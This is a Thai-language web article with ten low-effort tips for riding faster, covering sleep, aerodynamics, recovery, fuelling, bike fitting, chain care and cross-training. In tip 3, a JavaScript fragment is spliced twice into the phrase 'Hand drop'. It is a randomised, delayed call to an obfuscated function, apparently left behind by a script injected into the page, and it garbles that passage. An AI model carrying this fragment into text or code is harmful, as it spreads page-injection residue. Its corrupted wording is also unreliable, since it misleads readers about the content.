นักปั่นอยากจักรยานคู่ใจมีน้ำหนักเบามากที่สุดเท่าที่จะทำได้ เพราะยิ่งเบาเท่าไหรก็ยิ่งไปได้เร็ว แต่จะเป็นจริงหรือไม่ก็ไม่อาจฟันธงตอบได้ แต่ที่แน่ๆ ยิ่งเบายิ่งแพงครับ การทำให้รถเราไปได้เร็วขึ้นนอกจากการลดน้ำหนักแล้วยังมีอีกหลายวิธี อย่างเช่น 10 วิธีขี้เกียจที่เรานำมาเสนอกัน….
ขี้เกียจก็เก่งขึ้นได้: 10 เทคนิคฝึกปั่นฉบับคนขี้เกียจ
1. กายต้องพร้อม นอนให้พอ
จากการวิจัยของสถาบัน Stanford University พบว่านักบาสเกตบอลจะเล่นได้ดีขึ้น เมื่อได้นอนหลับพักผ่อนมากขึ้น สำหรับการฝึกปั่นจักรยาน ยิ่งฝึกมากขึ้น จำนวนเวลาที่ร่างกายต้องการนอนหลับพักผ่อนก็ต้องเพิ่มขึ้น การฝึกหนักและเวลานอนหลับเท่าเดิมจะทำให้ร่างกายติดหนี้มากขึ้น และหนี้นี้คือ ความต้องการของร่างกายที่จำเป็นต้องการใช้เวลาในการฟื้นฟูเซลล์และกล้ามเนื้อ รวมไปถึงการหลลั่งสารฮอร์โมนต่างๆ ดังนั้นแทนที่จะตั้งนาฬิกาปลุกบังคับให้เราตื่นนอน ลองเลื่อนเวลานอนมาให้เร็วขึ้น เสียงนาฬิกาปลุกจะไม่น่ารำคาญและร่างกายมีเวลาในการพักผ่อนมากขึ้น
2. ใส่เสื้อรูดซิปให้เรียบร้อย
ถ้าพูดถึงความลู่ลม หรือ Aerodynamic คงไม่มีนักปั่นคนไหนไม่รู้จัก การแต่งกายโดยใช้เสื้อผ้าสำหรับกีฬาจักรยานถือว่าเป็นเรื่องสำคัญ สามารถช่วยเพิ่มความเป็น Aerodynamic ได้ดี ถ้าไม่เชื่อทดลองแต่งชุดวิ่งปั่นจักรยาน เปรียบเทียบกับชุดปั่นจักรยานดูก็ได้ครับ…บอกได้เลยว่าชุดไหนต้านลมมากกว่ากัน นอกจากนี้การทำให้มี Aerodynamic เพิ่มไม่ได้หมายความว่านักปั่นต้องอยู่ในท่าบังคับ ต้องก้มและหุบมือศอกตลอดเวลา แค่การรูดซิป เก็บเสื้อให้เรียบร้อยสามารถช่วยให้เราไปได้เร็วขึ้น จากการทดลองปั่นในห้องลม (Wind tunnel) ปั่นแบบไม่รูดซิป ทำความเร็วได้ 19.9mph แต่เมื่อรูดซิป สามารถทำความเร็วได้ 20.16mph โดยใช้วัตต์ที่ 200 เท่ากัน
3. จับแฮนด์ต่ำ
ตำแหน่งท่าปั่นมีผลต่อความลู่ลม (Aerodynamic) การปั่นในท่า Handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and drop หรือจับต่ำสุดจะช่วยเพิ่มความเร็วขึ้นเพราะเราลดพื้นที่แรงปะทะลมลง แต่การอยุ่ในตำแหน่งนี้นานๆ สำหรับนักปั่นทั่วไปอาจจะทำให้เกิดอาการเมื่อยล้าได้ เราแนะนำให้ทำการฝึกกล้ามเนื้อผสมการกับการฝึกปั่นแบบ handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and drop บ่อยๆ ค่อยๆ เพิ่มเวลาในตำแหน่งนี้ขึ้นเรื่อยๆ จะทำให้ร่างกายทนทาน ลดอาการบาดเจ็บกล้ามเนื้อได้ดี
4. หนักบ้าง เบาบ้าง
No pain, No gain ไม่ใช่คำตอบในการพัฒนาทักษะการปั่น แต่เป็นการทำลายกล้ามเนื้อและร่างกายนักวิ่ง การฝึกที่แบบแผน มีวันหนัก วันเบาและวันพัก จะช่วยให้การพัฒนาเป็นขั้นบันได ให้ความร่างการได้พื้นฟูและปรับตัว (adapt) เข้ากับจำนวน Workload เป็นขั้นเป็นตอน การทุ่มฝึกอย่างเดียวจะทำให้ร่างกายปรับตัวไม่ทัน performance จะลดลงและบาดเจ็บในที่สุด
หลังจากช่วงการฝึกปั่นหนักๆ ในวันต่อไป ควรจะมีการปั่นแบบ Recovery เป็นการปั่นเบาๆ สบาย เพื่อให้ร่างกายได้สูบฉีดเลือดไปยังกล้ามเนื้อ นำอาหารไปเลี้ยงและนำของเสียออกไป
5. มีเทศกาลหยุดพักบ้าง
ฝึกปั่นนานๆ เข้านอกจากจะเพิ่มความเครียดให้ร่างกายแล้ว ยังจะเพิ่มความเครียดให้จิตใจด้วย มากๆ เข้าจะเกิดอาการ Burn out หมด Passion การปั่นลงได้ ลองให้ร่างกายและจิตใจได้หยุดพัก ไปเที่ยวทำอย่างอื่นดูสักพัก เวลากลับมาร่างกายจะมีความสดและกระตือรือร้นมากขึ้น
6. เติมพลังงานขนมหวาน
เพราะการปั่นจักรยาน เป็นกีฬาประเภท endurance อย่างหนึ่ง เราต้องรู้จักการเติมพลังงานระหว่างปั่น เพื่อหลีกเลี่ยงอาการหิวโซ หลังจากการปั่น น้ำเปล่า เครื่องดื่มผสมเกลือแร่ และขนมขบเคี้ยว ต้องรู้จักจังหวะเวลากิน กินตอนไหน อย่างไร จะช่วยให้เรามีพลังงานใช้ในการปั่นได้ต่อเนื่อง
ปัจจุบันมีสินค้า energy Bar และ Gel แบบรักสุขภาพออกมามากมาย ทำให้การรับขนมหวานทั่วไปดูเหมือนการกินอาหารขยะ (Junk food) ดูเป็นผู้ร้าย แต่การทานขนมหวานจะช่วยเพิ่มพลังงานให้ร่างกายและช่วยให้เรารับประทานอาหารได้ง่ายขึ้น ขนมหวานทำมาจากแป้ง และระหว่างปั่นนั้นร่างกายควรได้รับชนิดแป้งที่หลากหลาย ไม่ใช้แป้งชนิดเดียวที่มาจากเจลหรือบาร์
7. ดื่มเพื่อชัยชนะ
น้ำเป็นสารหล่อเลี้ยงตัวสำคัญสำหรับการนำพาสารอาหารไปเลี้ยงกล้ามเนื้อและนำพาของเสียออกไป เวลาเหงื่อออกคือการสูญเสียน้ำ และเมื่อไม่มีน้ำเข้าไปหล่อเลี้ยงกล้ามเนื้อจะทำให้เรารู้สึกอ่อนแรง เหนื่อยเร็วขึ้น การดื่มน้ำจะช่วยเติมพลังงานพิเศษอีกนิดให้กล้ามเนื้อ
8. ทำ Bike Fitting ซะบ้าง
การเซตตำแหน่งการปั่นให้กับนักปั่นในตอนแรกๆ จะเป็นการเซตให้เราอยู่ในตำแหน่งที่สบายที่สุด แต่ไม่ใช้ตำแหน่งที่มี Aerodynamic สูงสุด สาเหตุเพราะกล้ามเนื้อร่างกายและระดับความฟิตยังไม่ถึง เมื่อฝึกปั่นไประยะหนึ่ง เราจะมีความแข็งแกร่งของกล้ามเนื้อ สามารถทนนั่งปั่นเวลานานไปมากขึ้น ค้างอยู่ในตำแหน่ง aerodynamic ได้นานขึ้นและเมื่อร่างกายเราพร้อมมากขึ้น นักปั่นจึงควรไปปั่นทำ Bike Fitting ใหม่อีกครั้ง ปรับให้อยู่ในตำแหน่งที่สามารถดึงพลังงานได้สูงสุด
9.โซ่พระรองที่ถูกลืม
พระรองที่ใครๆ ก็มักลืมสำหรับการจักรยาน คือ โซ่ และมีความสำคัญไม่แพงรูปทรงของเฟรมจักรยานเลย แม้โซ่จะเป็นส่วนเล็กๆ ของจักรยาน แต่หน้าที่นั้นสำคัญยิ่ง เพราะเป็นตัวส่งผ่านกำลังสู่วงล้อ เปลี่ยนแรงเหวี่ยงให้เป็นความเร็วพุ่งไปข้างหน้า โซ่จึงเป็นอุปกรณ์ที่สำคัญในการตอบสนองแรงปั่น จากมัดกล้ามเนื้อไปสู่วงล้อ การเปลี่ยนโซ่หรือการทำความสะอาดโซ่ใหม่ เอาให้ใสสะอาดแล้วชโลมน้ำมันหล่อลื่นอย่างดี จะสามารถลดแรงเสียดทานลงได้และช่วยลดการสูญเสียพลังงานโดยเปล่า สามารถเซฟพลังได้ถึง 10 วัตต์ได้เมื่อเทียบกับโซ่ที่ไม่มีการบำรุงรักษา (จากการทดลองโดย Jason Smith of Friction Facts, a Colorado-based research firm)
10. เปลี่ยนประเภทกีฬาบ้าง
ฝึกซ้อมมากๆ ครั้งโดยไม่มีการพักเปลี่ยนบรรยากาศ จะสร้างความเครียดให้กับจิตใจและความเบื่อหน่าย ซึ่งจะมีผลต่อ performance ดังนั้นเราแนะนำให้ลองเล่นกีฬาประเภทอื่นดูบ้าง อย่างเช่น การพายเรือคายัค (Kayaking) เพราะจังหวะการเคลื่อนไหวของการพายเรือคายัดจะเป็นเหมือนการ reverse cycling คือ กล้ามเนื้อขาส่วนล่างทำหน้าที่เป็นแก่นให้ร่างกายอยู่นิ่ง ๆ ส่วนกล้ามเนื้อร่างกายส่วนบนใช้ทำงาน สองมือควงหมุนใบพาย เวลาพายใบเรือนั้นเอวเราจะบิดไปซ้ายขวา กล้ามเนื้อไหล่ยาวไปจนถึงด้านหลังจะรับแรงต้านจากใบพาย ประโยชน์ที่ได้คือ กล้ามเนื้อ core จะแข็งแรงขึ้น อาการป่วยหลังลดลง กล้ามเนื้อช่วงกลางตัว core ที่แข็งแรงและเสถียรรวมทั้งกล้ามเนื้อมือและแขน ช่วยให้เวลายืนปั่นจะสามารถถ่ายเทส่งแรงปั่นได้ดีขึ้น หรือจะเป็น วิ่ง trail หลายๆ นักปั่นอาจจะไม่ชื่นชอบการวิ่งมากนัก แต่การวิ่ง trail ก็เหมือนการปั่นเสือภูเขาแบบที่ไม่มีล้อ การวิ่งมีจังหวะกระโดดเด้งไปมาเหมือนอยู่บนเสือภูเขาเช่นกัน การวิ่ง trail จะช่วยเพิ่มความหนาแน่ให้กระดูกเรา ช่วยฝึกกล้ามเนื้อช่วงเอวให้แข็งแรงขึ้น ช่วยให้เวลาเราปั่นจักรยานจะปั่นได้นิ่งขึ้น แถมเผาผลาญแคลอรี่ได้เยอะที่เดียว
ประโยชน์ที่ได้คือ การวิ่งขึ้นเขาจะทำให้เราต้องผลักดัน (drive) เข่าไปข้างหน้ามากขึ้น และต้องโฟกัสการลงฝ่าเท้าทุกครั้ง เมื่อนำมาใช้กับการปั่น ทวงท่าจะคล้ายๆ กัน ช่วยให้เราสามารถปั่นขึ้นเขาได้ดีขึ้น ฟีลลิ่งในการปั่นอย่างการขึ้นเข่าและการควงเท้า เราจะโฟกัสการเคลื่อนไหวเวลาปั่นได้มากดีขึ้น แถมการวิ่ง trail จะได้มีโอกาสฝึกปอดและหัวใจไปในตัวด้วย
ท้ายสุดที่จะแนะนำก่อนจากกันไปคือ เทคนิคการเปลี่ยนเกียร์ เพราะเทคนิคการใส่เกียร์หรือจังหวะการเข้าเกียร์ หรือแม้การเบรค ควรจะเรียนรู้ไว้ เฟื่องฟันหน้าและหลังควรใช้กับเกียร์หลังลำดับที่เท่าไหร่เราควรศึกษาให้ดี เมื่อต้องเผชิญสถานการณ์ต่างๆ อย่างทางไต่เขา ลงเขา ทางเรียบและปั่นต้านลม จะได้เลือกใช้ได้ถูกวิธี เซฟพลังงานได้สูงสุดและเพื่อป้องกัน cross-chaining ลักษณะการดึงโซ่ที่เอียงสุดโต่ง ทำให้อายุการใช้งานลดลงเร็วขึ้น การเข้าเกียร์ที่ดีจะช่วยให้เราไต่เขาหรือเร่งและประคองความเร็วได้ดีขึ้นแน่นอน
อ้างอิง www.bikeradar.com
